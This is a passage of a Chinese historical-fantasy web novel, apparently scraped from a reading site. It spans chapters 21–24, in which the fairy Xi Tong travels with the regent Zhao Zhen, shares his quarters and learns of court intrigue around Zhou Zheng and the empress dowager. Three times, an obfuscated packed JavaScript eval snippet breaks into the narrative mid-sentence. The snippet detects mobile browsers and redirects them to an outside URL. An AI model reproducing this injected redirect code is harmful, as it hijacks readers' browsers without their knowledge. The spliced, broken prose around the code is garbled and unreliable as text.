奚瞳心中升起一点怪异的感觉,她和赵臻怎么就走到了今天这一步呢? 曾经唯恨对方不早死的仇敌,今日竟已经是可以无视男女大防讨论沐浴的关系。真是时移世易啊…… 不过……这种感觉,好像还不错。 奚瞳褪去衣衫,迈进木桶,水温刚好,一整日的疲惫尽数消融于这小小一方天地中,奚瞳忍不住发出舒服的喟叹声。 很快,水声淅淅沥沥从屏风的雕花与绣线缝隙里缓缓溢出,蔓延至整个厢房。 赵臻此时正坐在另一头的书案旁,看着京中送来的消息。然则他的心思早已全然不在这些书信上。 听闻满室水声,偶尔抬眼瞥见的那个隐约的倩影,这让他的小腹不自觉的生出燥热。 他心中生出对自己的恼恨,他一定是病了,等回了京城他一定要找个嘴巴严实的医者来给他问脉,他定是肾经出了问题。否则即便是这世上最淫/贱的禽兽,也不该是他现在这样,对着一点略带暧昧的声音与影子,便抑制不住情动。 奚瞳洗澡的这半个时辰,赵臻坐在那里,近乎要用一个“熬”字。 信笺的页尾都被他攥皱,下腹紧到都生了痛感,理智一遍遍告诉他要么冲进去杀了奚瞳,要么离开这个被下了媚蛊的鬼屋子。 可偏偏他的身体像是被什么咒语定住了一般,丝毫不想离开。 于是乎当奚瞳穿好衣衫从屏风后头走出来时,见到赵臻的形貌,便忍不住问道:“赵臻你……你不舒服啊?发烧了?耳朵怎么这么红?要不要找郎中来看看?” 赵臻本来就心烦,奚瞳的话又这么多,他刚想抬头斥责她几句,结果看到的,是更加令他难以把持的景象——奚瞳正一脸无辜站在那,她本只有一双眼睛灼灼如长夜明珠,可此刻因热水沐浴过,她整个脸颊都在白嫩里透出粉色的霞影,双唇像新摘的樱桃一般嫣红莹润,一方白棉巾握在她纤细修长的手上,轻轻揉搓着垂在她胸前的发尾…… 赵臻再也受不了了,他霍然站起,飞步朝房外走去。 奚瞳被他着急上火的样子吓一跳:“你去哪?” “去净房沐浴!”赵臻没好气。 “不是没有净房吗?” “是没有你的净房!” “你……!”奚瞳无语了。 待赵臻走后,奚瞳将头发擦到半干,眼睛扫一眼书案,才发现那里放了几封展开的信笺。 奚瞳有些心痒,要不要看…… 她先俯身伸了伸手,可很快又将手收了回来。 不好不好,这是旁人给赵臻的信,涉及隐私,随意翻看是不对的。 但不一会儿她的手又伸了出去…… 赵臻如果真的将这份隐私看得这样重,应当就不会将它们肆意翻开摆在这里了,而且他是在看了这些信之后才看起来身子不爽的。 作为他的守护仙女,她有责任对他的烦心事有所了解,然后再帮助他解决。 奚瞳觉得自己的想法很有道理,于是便盘腿坐在了书案前,仔仔细细看这些信笺。 果不其然,里头确实写了一些麻烦事。 赵臻离开虹州之后没有还朝,而是前往蓉州之事传回了京里,遭到了很多臣子的攻讦,说他没有按照向陛下报备的行程办差,擅自绕道蓉州,摆明了是大逆不道,存有异心云云。 前几封信笺都是说了这桩事,只不过涉及的世家不同。 最后两封信倒是更加引人注意。 其一是说陛下在宫中的小狗划伤了爪子,陛下因此差点虐杀了看顾小狗的宫婢,是昭阳王求情,陛下才作罢。 看到这里,奚瞳心中暗暗摇头。 她来大盈之前,天庭怕她知道太多,干扰了大盈原本应有的国运,所以未曾让她翻阅和大盈有关的书册。除了赵臻和她落脚的陆家,她对大盈所知不多。 可这两个多月里,她也听说了一些事情。当今陛下只有六岁,六岁,便因为自己的爱宠受了点小伤,就企图虐杀一个宫女,可见这孩子被教养得并不好。 赵臻夺权若是不成,怕是会死无葬身之地。 若说这封信带给奚瞳的是担忧,那下一封信则是让奚瞳困惑了。 那么多上书指责赵臻的世家官员,可其中偏偏不包括赵臻的正经对手——大司徒周正。 他非但没有贬损赵臻,反倒还在朝堂上替赵臻说了几句开脱的话。 另外就是他最近在京中办了许多场清谈宴会,同四海列国各大世家的公子们饮酒谈玄。 奚瞳将这封信摆在身前,单手托腮,一边看一边思忖,不寻常,这不寻常。 随着“吱呀”一声,沐浴完的赵臻进来了,跟他一起进来的是四个暗卫抬着一个大冰鉴。 不过弹指,厢房里便有了一些凉意。 奚瞳瞬间觉得,自己留在这里的决定十分正确。 赵臻看奚瞳翻看信笺,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914743|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不恼,只是问:“在想什么?” “我在想这个周正到底想干什么。”奚瞳道:“我若是他,便派最好的刺客,趁你还没回京就把你杀掉。” “呵。”赵臻冷笑:“你当杀我是什么容易的差事吗?再说了,杀我并不一劳永逸。” “为什么?”奚瞳不解。 赵臻的眸子黯了黯,他没有回答,只道:“天色已晚,睡吧。” “哦。”奚瞳打了个哈欠,她也的确累了。 她起身,伸了个懒腰,走到床榻前,才发现赵臻已经躺了上去。 “你……我……”奚瞳意识到还有一个重要的问题没有解决:“你睡这儿,我睡哪?” “地上。”赵臻仰面合眼,理所应当地答道。 “可是地上又硬又脏。”奚瞳气闷。 赵臻叹气:“难不成还让你睡床我睡地上吗?” “也不是不行。”奚瞳一边说一边心想,当年你还是小太监的时候天天睡地板,而且今天是你邀请我睡觉的。 这次赵臻是真笑了,气笑的:“你还真是好大的胆子。” 奚瞳站着,死死盯住赵臻,一阵相持之下,赵臻软了态度。 他依旧没有睁眼,只是身子床榻里侧挪了挪:“过来吧。” 同……同床……这不好吧…… 奚瞳心里有些打鼓。 赵臻听她没有动作,冷声道:“我说过,我对你的身子没兴趣。要么就过来睡,要么就睡 地上,不要打扰我休息,明天还要赶路。” 奚瞳心一横,迈步走向了床榻,躺在了赵臻身边。 躺下只片刻,奚瞳便觉困意来袭。 她彻底睡着前,似梦似醒对赵臻说了一句:“赵臻,我不会害你,你要相信我。你如果事事都瞒着我,我很难帮到你……” 她的声音越来越软,也越来越小,继而便彻底消弭。 奚瞳进入了梦乡,赵臻却没有了睡意。 他撒谎了。 他的心跳,他身体的温度,他小腹之中盘旋的血流,都在一遍一遍告诉他桀骜不驯的脑子。 你对她的身子怎么会没有兴趣呢。 你从未像渴望她一样,渴望过任何女子的体温。 他刚这样想着,奚瞳似是被冰鉴发出的寒气冷到了,挪动着钻到了他的怀里。 赵臻的身体瞬间僵硬,可慢慢的,随着她身上的温暖和馨香同他的皮肤相互交融之后,他的情/欲反倒平息下来。 窗外月明星稀,他侧身看着怀里的小姑娘,她睡得那样安稳,那样不设防,倒是让他心中生了些歉意。 今日收到京中来函,周正的反应确实出乎意料。正如奚瞳所说,刺杀未必不是周正的一种选择。 赵臻环顾整个车队,唯一有能力、也有可能成为周正刺客人选的,只有奚瞳。 所以他让她来了自己房里,与自己通吃同住。 他装作对她好,为她准备洗澡水、准备冰鉴;又装作对她不设防,将京中的信笺尽数摆在她面前。 他想看看,她到底会不会对他举起屠刀。 可当他对她生出滔天欲/念,超出理智,甚至不得不去净房自行纾解的时候,他承认,如果奚瞳真的是周正的人,他或许会有些伤怀。 他在净房时也认真的想过,如果她真是刺客,若有什么苦衷,他或许……可以给她一条生路。 他思绪回转,望着她长长的睫毛,渐渐地,他坦然接受了心中因为她那句“我不会害你”而萌生的淡淡喜悦。 不久,他便也顺从了周公的召唤。 这一夜赵臻没有做噩梦。 这是他三族被灭以来,第一个酣然无梦的夜晚。 22.第 22 章 次日。 赵臻在一阵盛夏蝉鸣中醒来。 醒来时他只觉胸膛和大腿有些沉,睁开眼,才发现奚瞳的一只胳膊一条腿挂在自己身上,她睡得像个蚂蚱。 赵臻闻着她身上隐隐的皂角香,体内的情潮又在蠢蠢欲动。 他烦闷之下推了奚瞳一把,可不想奚瞳比他想象中要轻,这一推,奚瞳便滚到了床下,赵臻反应过来想要拉她时,已经来不及。 “咚!” 床底下传来声响。 紧接着就是奚瞳疼得龇牙咧嘴的脑袋从床榻下方缓缓“升”上来。 她揉揉眼睛,看向赵臻,见他似是没醒,她挣扎着爬起来,心道:“方才是地动了吗?” 不过好在疼是疼一点,但没受什么伤,她伸了两个懒腰,坐到床沿上,低头看闭着眼睛的赵臻。 半晌,她伸手摸了摸赵臻眼角下的小痣。 “这颗痣……是什么时候有的呢?”摸了一会儿,奚瞳由衷道:“白玉微瑕,更添风韵,还挺好看。” 感叹完赵臻的美貌,奚瞳便起了身:“看在你好看的份儿上,今天早饭本仙女亲自为你下厨吧。” 奚瞳离开了厢房,赵臻的双眼猝然睁开,他的手也伸向自己的眼角。 这是奚瞳第二次提到他的泪痣了,她为什么对这颗痣如此挂怀。 她指腹的温度还在他脸上盘旋,这让他体内的欲念难以平息。 赵臻猛然起身,又一次气冲冲走向了净房,他必须赶快回京,赶快找到京中最好的医者,再这样下去,他怕是要被这个妖女吸干精血。 …… 奚瞳端着一碗葱油拌面回来的时候,赵臻的面容又恢复了以往的阴沉。 他此刻坐在书案前,笔洗旁停着一只鸽子,鸽子的爪子上有半解的细绳,而赵臻的手中是一张纸条。 看来是京中又有消息了,而且是不怎么好的消息。奚瞳想。 “赵臻,吃早饭。”奚瞳朗声开口。 赵臻似乎已经习惯了这个小丫头直呼他的姓名,他起身走到桌子跟前,这碗面倒是看上去颇有滋味。 “你做的?” “嗯。”奚瞳答:“我唯二会做的两道菜。” “另一道是什么?” “拍黄瓜。” 赵臻发出一声嘲讽的轻笑:“陆忧怎会看中你这样的人做家伎?” “我也觉得。”奚瞳赞同:“我起码应该是个门客的,陆忧真是浪费了我的才华。” 赵臻对奚瞳的乐观和厚脸皮彻底无奈了。 他夹起一缕面尝了尝,油润入味,他不由挑了挑眉。 “飞鸽传书,可是又有什么消息?” “没什么,只是打探到了周正清谈宴会的内容。” 当世文人清谈,总会有个主题,无甚稀奇,但赵臻反应这般激烈,倒是引人好奇。 “他们谈了什么?”奚瞳问。 赵臻抬眸看奚瞳一眼,想起她昨晚半梦半醒的话,思忖片刻,没有隐瞒:“得国之正。” 得国之正…… 奚瞳一下子就明白了。 所谓得国之正,就是说一个人如果想要当皇帝,他需要哪些正当的理由。 在赵臻开始打压世家的节骨眼上,身为世家之首的周家当家人频繁举办清谈宴会,讨论这个问题,无非就是要打舆论战,在天下文人心中都种下一种思维,将来若是赵臻觊觎王位,他名不正言不顺,便是奸佞之徒。 长此以往,若真有江山易主那天,哪怕周家倒了,也会有千千万万世家之人清算赵臻。 “这位周大人,还挺聪明。”奚瞳道。 赵臻眼底浮上讥诮:“此时杀我,哪怕成了,朝野内外怀疑之人,必先是他。倒不妨如现在这样,转移视线,不提世家枉法,只道我赵臻谋权,让天下人的眼睛盯着我、牵制我。这步棋,他走得不错。” 说到最后,赵臻脸上有难以掩饰的恨意,这让奚瞳困惑。 长秦之时,赵臻也有过许多政敌。 赵臻处置敌手,冲突再大,无非手起刀落,还从未有哪一个,能让他恨成这样。 难道是因为退婚?奚瞳想。 想着想着,她就在脑海里补全了一出青梅竹马惨遭棒打鸳鸯,最终一个嫁入深宫,成为太后;一个三族皆死,孑然一身。身份的鸿沟让他们再也回不去年少的日子,只能终身抱憾。 奚瞳看着低头吃面的赵臻,心中竟萌生了一种近乎于舐犊之情的东西。 她拍拍赵臻的肩膀:“你若真的放不下她,我来帮你。” 赵臻抬头:“谁?” 奚瞳用力地点了点头,是承诺,也是安抚。 赵臻的眉头拧了起来。 “不过赵臻。你觉得什么是得国之正?”奚瞳认真问道。 赵臻将筷子放下,他从未料到,有朝一日他会同一个伎子谈论这个问题。 他本不愿,可转念一想,在这世上,除了这个伎子,竟再也没有旁人能同他谈一谈他的理想了。 赵臻自嘲地笑了笑,继而眼神锐利起来:“是金戈铁马,是血海尸山,是为君者的铁腕,让四海臣民因恐惧而永远臣服。” 赵臻坚定地说出这一句。 奚瞳的心脏却因此有些抽痛起来。 他还是这样,同五百年前别无二致。 长秦,赵臻出任殿前枢密使的第三年,血洗大朝晖殿。 做枢密使的三年里,因为他宦官的身份,惹得群臣不满。他们有的向长秦王上上书,废黜赵臻;有的称病告假,数月不上朝;有的结党在朝堂上同赵臻针锋相对;有的差人在民间散布各种宦官亡国的言论…… 渐渐地,这群文臣的所作所为已经不再关乎于什么职责与风骨,而是纯粹的为了扳倒赵臻的经久不息的党争。 在群臣忙于对赵臻口诛笔伐的时候,朝廷的大多事务都落在赵臻一个人的肩上,即便讨厌他如奚瞳,也承认那几年的赵臻,称得上夙兴夜寐、焚膏继晷。 但赵臻终究不是个宽和的人,他将仇怨一笔笔记着,终于在一朝爆发。 赵臻是孤儿,在净身入宫前被一个铁匠养大,因为他的得势,铁匠过上了富裕的生活,却也遭受了前所未有的来自街坊四邻的孤立与凌/辱。 那年冬天,街头有些莽汉去铁匠铺寻衅滋事,一时失手,打死了赵臻的义父。 铁匠死的第二日早朝,赵臻灌醉王上,紧闭朝晖殿大门,不一会儿,殿中便传来兵戈相碰,嘶吼哭喊之声。 奚瞳闻讯赶到时,黏腻的鲜血从朱红色的大门底下溢出来,染红了大朝晖殿外的长阶。 她忍着刺鼻的血腥味推门进去,便看到地上躺着数十具大臣的尸体,而赵臻坐在御座之下的高台上,满面鲜血,愤恨狞笑地望着他一手锻造的炼狱。 活着的大臣纷纷瑟缩着,站在大殿一侧的盘龙柱旁。 奚瞳远远同赵臻对视着。 赵臻发出冷笑,猩红的双眼让人几乎觉得他已经疯了:“公主是否也觉得赵某残缺之躯,不配站在这里?嗯?可是怎么办啊,赵某已经稳稳坐在这高台之上,一人之下,万人之上!长秦可以无你奚氏男儿,可以无他千百世家,却不能无我宦臣赵臻!你们再不服气,能奈我何?” 奚瞳看了赵臻片刻,下令让他跪在群臣尸海中央。 那是奚瞳第二次杖责赵臻,五十九个死去的大臣,奚瞳便赏了他五十九杖。 杖刑结束时,赵臻整个腰背全是血渍,他趴在地上,眼睛空洞地睁着,若非微弱的鼻息,几乎让人觉得他已经死了。 奚瞳俯身:“赵臻,你可知今日我为何杖责你?” 赵臻挣扎着,想要抬起头看奚瞳,他的脸上还是一贯的邪佞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此后余生,这个名字成为他心底永恒的阴暗却柔软的秘密。 奚瞳成仙后,为了勘透她刎颈时赵臻最后望向她的那个眼神,她曾用回天镜一遍一遍回看赵臻在长秦的种种。 她不知她饶他一命,信他一次,在他心中意味着什么,只知道她第二次杖责把他疼哭了。 而五百年后的今天,赵臻的身体不再残缺,戾气却不减当年。 奚瞳因此而揪心。 长秦的史书没有流传下来,可奚瞳知道,作为亡国之君信赖的宦官,即便能有什么流传下来,也尽是奸佞恶名。 她不希望赵臻生生世世,都因嗜杀而背负这样的身后名。 “赵臻,得国之正,不是这样的。”奚瞳语重心长:“立国之人,自然要有兵戈铁蹄,但也要有仁德善心。” 赵臻看着她煞有介事,不由觉得好笑,他还没有愚蠢到,要真的同一个伎子争论,他只问道:“怎么,怕我杀了你?” 奚瞳摇了摇头:“赵臻,我怕你孤独。” 赵臻的笑意缓缓从脸上滑落,他凝视着奚瞳的眼睛。 “赵臻。不要习惯冰冷,冰冷并非是你想象中的麻木,冷得久了,你会疼的。” 在这场恒久的对视里,赵臻率先败下阵来。 他收回目光,微微垂下了头。 良久,他重新看向奚瞳,眼神里再次浮现杀欲,而杀欲中带了泪光。 他再次捏住奚瞳的脖子:“说!你永不背弃我!” 赵臻没有用力,奚瞳只感受到他掌心的温度,却不曾因他的手掌而窒息。 她悲悯地看着赵臻,叹了一口气,一字一句道:“赵臻,我永不背弃你。” 23.第 23 章 行路十七日,终于抵达了大盈的都城,陆忧前往赵臻早已为他备好的府邸,而奚瞳则要同赵臻回太傅府。 临别之际,陆忧拦住奚瞳,奚瞳面露疑惑。 她的这种神情让陆忧有些烦闷,他自问在陆府时,他并未薄待过她,甚至还帮她从市井找回了紫虚,可如今她对他,竟没有一丝歉疚和不舍。 “赵臻让你侍寝了?” 陆忧想到绿绮机关算尽要做他妾室的模样,便很想知道,是否在奚瞳心中,对赵臻也存了攀附之心。 奚瞳听此一问,不禁蹙眉,这实在不是一个体面的问题,陆忧这般问,有些掉了身价。 见奚瞳不说话,陆忧叹了一口气:“赵臻此人,有经天纬地之才,帝王将相,都能做得,可对女子来说,他太凉薄,并非良人。” 有一说一,这句评价还算中肯,但话从陆忧嘴里说出来,就很别扭。 “二公子你可别告诉我,你觉得你才是值得我托付终身的儿郎。”奚瞳笑笑,不过不是讥讽,反倒很是真诚:“二公子,其实在你心里,女子同仕途相比,也不过就是脚下尘泥。你好好养着家伎,不曾染指她们,或许有心善的原因,但更多的,是你既瞧不上她们,又想要君子的贤名。你和赵臻,是一类人,只是赵臻已然官居高位,所惧不多,故而更为坦荡;而你还在深渊蛰伏,只能收敛。” 奚瞳的话说得直白,直白的让陆忧觉得心尖刺痛,可这种刺痛,并没有让他生出恼怒,更多的,是让他觉得苦涩,若能光明正大、衣食无忧地做君子,谁又愿意整日筹谋算计、汲汲营营。 “你真的……胆子很大。” 奚瞳赶紧抬起手:“打住,这句夸奖我这一路听了无数遍,实在有些腻了。” 陆忧也笑了,他平日的笑多少都带着点表演性质,可此时的笑意,却发自真心:“若我早知道陆府家伎妆房中,有雏凤在卧,绝不会任由赵臻捡这个便宜。” 奚瞳没有回答,陆忧不会明白,她此生都为赵臻而来。 “你的身契赵臻都已拿去。” “嗯。”奚瞳应道:“他已经烧了。” 陆忧先是一愕,继而低头自嘲:“我的确不如他。” 一路以来,奚瞳对陆忧此人的评价也就一般。 他办事能力相当出色,可论人情世故,实在不是一把好手。 比如承桑绿绮,奚瞳相信,无论赵臻也好,或是她自己也罢,若与陆忧易地而处,绿绮的手不会断,她也不可能成为陆忧的妾室。不为别的,只因陆忧无情,但绿绮确有真心。 这世上最危险的交易,都是用真心作的。 承桑绿绮,将来未必不是陆忧身边的隐患。 可此刻的陆忧,倒是让奚瞳高看一眼。 因为世人往往高看自己,坦然认输的没有几个。 奚瞳对陆忧行了礼:“公子,多谢你在虹州对我和妹妹的照拂,如今京城已至,风云已起,奚瞳祝公子得偿所愿。” 话说完了,奚瞳欲走,可陆忧再次开口。 “奚瞳,赵臻让你侍寝了吗?” 啧…… 奚瞳有些郁闷,这个问题之冒犯、之低端、之毫无风度可言,以陆忧的智商,他不会不知道,可他怎得又问了一遍? 奚瞳看向陆忧,陆忧神色泰然,仿佛问了一个再正经不过的问题。 奚瞳:“很重要吗?” 陆忧微敛眉目,但表情是极认真的:“很重要。” 奚瞳无奈:“没有。赵臻清心寡欲,平日里肉都不多吃一口,对美色实无兴趣,更何况,我也算不得什么美色。” 陆忧稍感庆幸,微笑点了点头。 男女之间,即便没有真心,但若行过鱼水之欢,总要生出几分羁绊。善缘是缘,恶缘亦是缘。 赵臻对酒色的抗拒,大盈人尽皆知,朝堂之上,他对权力的追逐狂热至极,可在私下,衣食住行清苦得宛若僧侣。 陆忧对奚瞳总有几分不甘心,他想着,只要赵臻一日不宣幸她,他便还有几分机会。 女人同仕途相比,不过脚下尘泥。他是,赵臻更是。 待他在京中站稳了脚跟,奚瞳未必不会有回到陆府的时候。 陆忧所想,奚瞳自然不知。 她只回到赵臻的车辇上,准备同他一道回太傅府。 进了京城地界后,林载已经回了禁军营,紫虚则被一支暗卫小队先行带回了府上,去收拾她和奚瞳即将居住的厢房。车上此时只坐了赵臻一人。 奚瞳刚一上车,便觉得周围寒气四溢,而寒气的来源,是赵臻的眼睛。 “他问你什么了?” “没什么。”奚瞳想要蒙混过关。 “奚瞳。”赵臻沉声叫了她的名字,是警告,也是威慑。 奚瞳深吸一口气:“他问我有没有侍寝。” 赵臻眸色更沉:“你怎么说的?” “实话实说咯,太傅大人龙章凤姿,品味高绝,怎会看上我这样的人?”奚瞳觉得自己不做公主之后,拍马屁的工夫精进不少。 赵臻冷冷一笑:“算你拎得清楚。” 奚瞳看着赵臻这副模样,忍不住怀念起那些他还鸡飞蛋打的岁月,那时他虽然不是个男人,也不太听话,但总体来讲,不算太飘,比现在可爱不少。 “停车。”只听赵臻说道:“十三。” 他的心腹暗卫十三出现在车辇的帷幕之旁:“大人有何吩咐?” “去伶人司寻几个美人,送到陆司隶府上。他近来想必是思春成疾,否则也不会荒唐到来我这里打听床帏之事。” “是。” 十三领命办理,奚瞳看向赵臻,赵臻又闭上了眼睛。 奚瞳瘪了瘪嘴,赵臻说话真难听啊,思春成疾……这话要让陆忧听了,但凡还有点血性,陆忧都要立马辞官。 奚瞳这样想着,耳畔传来赵臻的声音:“不要私下再见陆忧,我不喜欢。” “……哦。”奚瞳答。 …… 宫城,栖梧宫。 太后周怀淑午睡刚醒,婢女青璃近来禀报:“太后,太傅大人回京了。” 周怀淑眼中浮现喜色,但笑容温婉克制,点了点头:“风尘仆仆一路,他想必累了,差人告诉太傅,今日不必入宫了,先好好休息,明日请安不迟。” “还有……还有一事……”青璃有些迟疑。 周怀淑看她一眼,语气温和:“吞吞吐吐做什么,说。” 青璃行礼的腰弯得更低:“太傅大人,此次回来,带回来……两名年轻女子,已经跟着太傅大人回府了。” 周怀淑正在整理自己鬓边的青丝,听闻这一句,手不自觉停了下来,脸上淡然的笑意也明显僵了僵,她身边的另一个婢女红盏赶忙道:“娘娘别伤心,娘娘同太傅大人是青梅竹马的情谊,他若对娘娘有二心,便不会时至今日都不娶妻纳妾。那两个女子到底缘何进了太傅府尚未可知,说不定过两天便打发了。” 周怀淑的脸色缓和了不少,可眼眶终究还是微微泛了红,然而说出来的话依旧是温柔的:“他如今也快三十岁了,这么多年,周围连个伺候他的丫头都没有,日子过得粗糙。若那两个守奴婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993117|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的本分,倒也不是不能留下。” 红盏忍不住擦了擦眼角,她从小伺候周怀淑,周赵两家因为种种原因分道扬镳,但小姐对赵臻的心思,从未变过。 只有她这贴身丫头知道,在先帝身边这些年,自家小姐有多痛苦,也只有她知道,小姐对太傅大人的用情有多深。 如今小姐已经成了太后,是大盈最有权力的人,却还是只能眼睁睁看着其他女人环绕在太傅身边,她的心该有多疼。 太傅大人那般英俊,那两个丫头不存歹念才怪! 太傅大人对太后……也是真的太狠心了…… …… 奚瞳哪里知道自己甫一进京,已经被太后的贴身婢女看做天下第一不要脸之臭狐狸精。 她打量着太傅府的砖瓦草木,只觉得赵臻的日子过得……不是色盲,胜似色盲。 白墙黑瓦,青石板绿松柏,再多的颜色一概没有。 “喵~”奚瞳跟在赵臻身后,往正厅走着,只见一只胖乎乎的橘猫从屋子里踱步出来,走到她脚踝处,用脑袋一个劲儿蹭她。 见到这抹唯一的亮色,奚瞳忍不住将它提起抱到了怀里,她摸着它的脑袋:“小家伙你也太胖了吧,该清减些了哦。” 赵臻有些怔愣地看着奚瞳跟他的猫亲热。 一旁的老管家裴鸣笑道:“真是难得啊,虎将军初见就这般亲热之人,奚姑娘还是头一个。” 裴鸣所说不假,这个大胖橘表面看上去憨态可掬,实则有过拳打顶级武将、脚踢各路文官的光辉战绩。 “你叫虎将军啊。”奚瞳看着橘猫,忍不住道:“你爹给你取的这个名字也太得罪人了,其他将军听了会不高兴的。咱们不叫这个名字了,姐姐以后叫你小老虎好不好呀~” 赵臻额上青筋直跳。 爹……姐姐…… 他有这么老吗……他就不能是哥哥吗…… 还有,他府上,他的猫,什么时候要她做主了,谁让她随便给虎将军改名字的?! 可偏偏虎将军很受用,听到“小老虎”三个字,眼睛眯起来,一脸享受地拼命往奚瞳怀里钻。 不中用啊……赵臻咬牙……色字头上一把刀啊…… 倒是裴鸣在一旁不住地笑。 他原是赵家的仆人,十年前因为老家母亲病重,得了赵家老爷的恩典,放了他的身契,给了他一笔银钱,让他回家尽孝,才躲过了赵家抄家灭族之祸。 后来赵臻回京,他为报赵家恩情,便来赵臻身边伺候。 自从赵家出了事,赵臻性情大变。 在裴鸣的记忆里,少爷也曾是很顽皮很爱笑的,可别后重逢,他的身上便只剩下血海深仇带来的悲愤和阴鸷了。 裴鸣心中难受,可他只是一个帮不上什么忙的下人,说再多也没有用。 可今日见了这位奚姑娘,他觉得她说不定能让少爷忘却仇恨,回到以前的样子。 “裴叔。”裴鸣的思绪被奚瞳打断。 “离咱们这儿最近的花市在哪?”奚瞳问。 “出门北走,过两条巷子,一拐就到了,在烟云坊的西头,便是咱们京城最大的花市。” “好,我下午去逛一逛。” “姑娘是想……”裴鸣问。 “我喜欢花。”奚瞳的笑眼弯起来:“家里要有花才好看。” 裴鸣点点头,又有些迟疑地看向赵臻。 这姑娘好是好,就是有些太没规矩了,居然敢说太傅府是自己家,实在胆大。 可赵臻只是看着奚瞳,他的双唇稍稍动了动,终究什么都没有说。 24.第 24 章 赵臻虹州蓉州行走一遭,再回中枢,朝野格局大变。 若说离京之前的赵臻只是区区一介孤臣,那么如今赵臻手上则多了许多棋子。 陆忧的父亲实在是贤名盛大,陆忧此番被赵臻招揽,让许多原先不齿与赵臻为伍的世家开始思量,赵臻是否真的是可以托付家族宏愿之人。 对这些大家长而言,绝对的利益跟前,道德的底线是可以放宽的。 氏族长久兴旺,自己万古流芳,后人一辈又一辈地瞻仰,这件事的吸引力太大,以至于赵臻苟且偷生、同太后媾和的道德瑕疵显得不值一提。 更重要的是,周家于大盈世家之林制霸二十年,如今程冲落网,这桩案子表面上看或许只是撼树之蚍蜉,但千里之堤,溃于蚁穴。周正固然老谋深算,但太后同赵臻儿女情长,周正的儿子周演又实在平庸,今日过后,周家是否能够风光依旧,很难说。 大盈千百世家,此时不得不面临一个选择。 是入局还是旁观,入局可搏声名钱权,旁观则注定无法走到庙堂的高处。 而若入局,那又如何站队,是站在赵臻身边,赌佞臣登顶;还是站在周家这边,守着所谓的文人风骨,遵循礼法纲常,支持羸弱而平庸的皇室血脉,拥抱王朝昏暗的霞光,期待着不知何时才来的下一个黎明。 这并不是一道简单的题目,各大家族的族长们都知道,他们已然来到了历史洪流的风口浪尖之上,生死不过一念之间。 赵臻休整一日,来到栖梧宫给太后和皇帝请安。 栖梧宫殿门紧闭,远远的,他便听到男童的尖叫笑闹之声,其间还夹杂着一个男子的斥责。 “周怀淑你别忘了!你是太后!是周家的人!我们周家世代簪缨,怎么会出了你这样一个贱种骚/货,富丽堂皇的龙床不睡,去同赵臻那样的污滥之人苟且……” 赵臻站在门口,平静听着栖梧宫中传出的声音。 殿门两侧的宦官见赵臻来了,惨白着一张脸想要进去通报,却被赵臻抬手制止。 直到栖梧宫叫骂声过去,开始出现摔打瓷器的声音,赵臻才使了眼色,让人进去通传。 不一会儿,殿门大开,当今太后的亲哥哥,也是当朝的少府卿周演,怒气冲冲从里头走出来。 他看到赵臻面含讥诮站在外头,脸上露出狠色:“太傅大人,数日不见,你可真是风度不减。” 赵臻笑了笑:“周大人亦是精神抖擞。” 赵臻这句话,显然就是在说他已经听到了周演在栖梧宫的狂怒之言,并因此有感而发一句讽刺之语。 周演的表情狰狞起来,他走到赵臻跟前,低声道:“赵臻,你不要太得意,你当真以为,拿了一个程冲,睡了一个贱人,便能毁掉周家吗?” 赵臻笑意更深,他又凑近周演三寸,在他耳畔说道:“周怀淑和程冲,当然不足以毁掉周家,但若在加上你这个蠢货,便难说了。” 周演怒火攻心:“你!” 赵臻退后一步:“周大人,慢走不送。” 周演拂袖而去,赵臻脸上的笑容慢慢卸下来。 他缓步走进栖梧宫外殿,远远看见周怀淑颓然坐在短榻上垂泪,六岁的皇帝高澈在他跟前奔跑笑闹,对母亲的伤心之色全然没有感知。 赵臻的步子迈过内殿的门槛时,高澈正背对着他,小皇帝此时停下来,指着自己风华绝代却满目伤情的母亲,用极为天真的声音说道:“贱种骚/货!贱种骚/货哈哈哈!” “陛下!”奴婢红盏忍不住开口,周怀淑则一脸震惊望着自己的儿子。 可很快,她的目光转移到赵臻身上,她抬手拂去眼泪:“你回来了,玄度?” 小皇帝闻言也回了头,方才的嬉笑神色再也不见,只剩不安和畏惧。 赵臻没有看周怀淑,只俯身看着讷讷站着的高澈,沉声开口:“来人!” 两名黑衣暗卫从殿外走进来。 “陛下侮辱生母,是为不孝,打手板二十,以做惩戒。” “是!”两名暗卫没有迟疑,将高澈按住,拿出竹板准备行刑。 高澈瞬间挣扎哭闹起来:“不要!不要打我!我是皇帝!孤是皇帝!啊啊啊太傅我错了,我错了!啊啊啊母后救我!救救我!” 按理说太傅并非陛下师长,体罚陛下何其荒唐,但栖梧宫满宫仆人无人敢置喙什么。 天下人或许对如今大盈谁主沉浮尚存疑虑,但他们这些下人仰人鼻息,最知道在这宫里应该看谁的眼色,这皇宫看似姓高,由周家把持。但实际上,能够谈笑间主宰他们生灭的人,是太傅赵臻。 